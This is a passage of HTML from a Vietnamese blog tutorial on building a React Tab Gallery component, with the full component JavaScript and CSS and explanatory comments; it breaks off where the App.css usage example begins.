class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------tab-gallery/ --------tab-gallery.css --------tab-gallery.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li>Thư mục <strong>components</strong>: chứa code của các Component. Bài này mình thực hành về <strong>Tab Gallery</strong> nên mình tạo thêm thư mục <strong>tab-gallery</strong> bên trong với 2 file <strong>tab-gallery.js</strong> và <strong>tab-gallery.css</strong> để định nghĩa cho component <strong>Tab Gallery</strong> (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</li> <li>Thư mục <strong>images</strong>: để chứa tất cả những <a href="/web-tai-anh-mien-phi-chat-luong-cao/">ảnh</a> mình sử dụng cho Demo.</li> <li>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component <strong>Tab Gallery</strong> ở trên.</li> <li>Các file <strong>index.css</strong>, <strong>index.js</strong> và <strong>serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</li> </ul> <h2 id="xây-dựng-tab-gallery-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-tab-gallery-component" aria-label="xây dựng tab gallery component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Tab Gallery Component</h2> <h3 id="nội-dung-file-tab-galleryjs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-tab-galleryjs" aria-label="nội dung file tab galleryjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file tab-gallery.js</h3> <p>Trong phần này bạn cần phải chú ý đến một số kiến thức như:</p> <ul> <li><a href="/tim-hieu-react-component-lifecycle/">React Component Lifecycle</a></li> <li><a href="/xu-ly-mot-event-javascript-co-ban/">Đăng ký và hủy bỏ event</a> (<strong><em>resize</em></strong>).</li> </ul> <p>Và ý tưởng chung để xây dựng Tab Gallery Component là:</p> <ul> <li>Một tuyển tập các ảnh có kích thước nhỏ để hiển thị ban đầu, được sắp xếp theo hàng ngang. Mỗi ảnh nhỏ là một tab.</li> <li>Khi người dùng click vào ảnh nào, mình sẽ lấy thông tin ảnh đó (đường dẫn, caption) để hiển thị xuống bên dưới.</li> </ul> <p>Về nội dung chi tiết mình sẽ giải thích trong phần comment code dưới đây. Bạn chịu khó đọc nhé! Có phần nào chưa hiểu thì có thể để lại bình luận phía dưới.</p> <div class="gatsby-code-title gatsby-remark-code-title">tab-gallery.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ReactDOM <span class="token keyword">from</span> <span class="token string">"react-dom"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./tab-gallery.css"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">TabGallery</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * State lưu thông tin ảnh sẽ được hiển thị trong tab content, * bao gồm đường dẫn ảnh và caption của ảnh */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">imageSrc</span><span class="token operator">:</span> <span class="token string">""</span><span class="token punctuation">,</span> <span class="token literal-property property">imageText</span><span class="token operator">:</span> <span class="token string">""</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * Khi sử dụng, mình sẽ truyền thuộc tính ratio, giả sử là "3:2" * Như vậy, tỉ lệ width/height là this.ratioWH = 3 / 2 * Mình sẽ điều chỉnh các ảnh sao cho về cùng 1 kích thước. */</span> <span class="token keyword">const</span> ratioWHArray <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>ratio<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">":"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH <span class="token operator">=</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">/</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>showImage <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">showImage</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>hideImage <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">hideImage</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Điều khiển việc hiển thị ảnh, với đầu vào là object lưu thông tin * của ảnh cần hiển thị */</span> <span class="token function">showImage</span><span class="token punctuation">(</span><span class="token parameter">image</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">imageSrc</span><span class="token operator">:</span> image<span class="token punctuation">.</span>src<span class="token punctuation">,</span> <span class="token literal-property property">imageText</span><span class="token operator">:</span> image<span class="token punctuation">.</span>caption<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Điều khiển việc ẩn ảnh đi, * bằng cách cho đường dẫn ảnh về string rỗng. */</span> <span class="token function">hideImage</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">imageSrc</span><span class="token operator">:</span> <span class="token string">""</span><span class="token punctuation">,</span> <span class="token literal-property property">imageText</span><span class="token operator">:</span> <span class="token string">""</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Khi set display thành none thì phần container * phía dưới sẽ không chiếm diện tích, * nên phải cập nhật lại kích thước của component */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerBottomElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>display <span class="token operator">=</span> <span class="token string">"none"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Cập nhật kích thước component */</span> <span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> tabHeight <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm<span class="token punctuation">.</span>offsetWidth <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>tabHeight<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">const</span> bottomHeight <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerBottomElm<span class="token punctuation">.</span>offsetWidth <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerBottomElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>bottomHeight<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi component đã render lên HTML xong, * lúc này mình cần lưu lại DOM node ứng với các phần tử cần thiết. * * Đồng thời tính toán kích thước component và đăng ký * sự kiện khi resize màn hình thì sẽ tính toán lại kích thước của component. */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm <span class="token operator">=</span> ReactDOM<span class="token punctuation">.</span><span class="token function">findDOMNode</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".container"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerBottomElm <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".container-bottom"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi component bị xoá khỏi HTML, * lúc này mình cần huỷ bỏ sự kiện đã đăng ký. */</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi component update, * tức là khi click vào mỗi ảnh, mình sẽ hiển thị ảnh phía dưới, * sau đó tính toán lại kích thước phù hợp. */</span> <span class="token function">componentDidUpdate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>imageSrc <span class="token operator">!==</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerBottomElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>display <span class="token operator">=</span> <span class="token string">"block"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/** * Giao diện của tab gallery sẽ gồm 2 phần chính. * Phần div với tên class container sẽ hiển thị ảnh theo chiều ngang. * * Khi click vào mỗi ảnh thì phiên bản lớn hơn của ảnh sẽ hiển thị * phía dưới, ứng với thẻ div với class container-bottom */</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-tab-gallery<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">image<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image-wrapper<span class="token punctuation">"</span></span> <span class="token attr-name">style</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">width</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length<span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">height</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">100%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>src<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>caption<span class="token punctuation">}</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">showImage</span><span class="token punctuation">(</span>image<span class="token punctuation">)</span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container-bottom<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>imageSrc<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>imageText<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>close-btn<span class="token punctuation">"</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">hideImage</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> × </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image-text<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>imageText<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-tab-gallerycss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-tab-gallerycss" aria-label="nội dung file tab gallerycss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file tab-gallery.css</h3> <p>File này dùng để xác định style cho Tab Gallery Component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-tab-gallery</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì sẽ hiểu style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> mà không phải cháu, chắt,…</p> <div class="gatsby-code-title gatsby-remark-code-title">tab-gallery.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-tab-gallery, .lp-tab-gallery *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> -webkit-flex<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container > .image-wrapper</span> <span class="token punctuation">{</span> <span class="token property">flex</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 0.35rem<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container > .image-wrapper > .image</span> <span class="token punctuation">{</span> <span class="token property">object-fit</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container > .image-wrapper > .image:hover</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0.7<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container-bottom</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> relative<span class="token punctuation">;</span> <span class="token property">margin-top</span><span class="token punctuation">:</span> 0.35rem<span class="token punctuation">;</span> <span class="token property">margin-bottom</span><span class="token punctuation">:</span> 0.35rem<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container-bottom > .image</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">left</span><span class="token punctuation">:</span> 0.35rem<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> <span class="token function">calc</span><span class="token punctuation">(</span>100% - 0.7rem<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">object-fit</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container-bottom > .image-text</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">bottom</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">left</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 20px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container-bottom > .close-btn</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0px<span class="token punctuation">;</span> <span class="token property">right</span><span class="token punctuation">:</span> 6px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 16px<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 20px<span class="token punctuation">;</span> <span class="token property">font-weight</span><span class="token punctuation">:</span> bold<span class="token punctuation">;</span> <span class="token property">line-height</span><span class="token punctuation">:</span> 1rem<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container-bottom:hover > .close-btn</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-gallery > .container-bottom:hover > .close-btn:hover</span> <span class="token punctuation">{</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.8<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-tab-gallery-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-tab-gallery-component" aria-label="sử dụng tab gallery component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Tab Gallery component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div 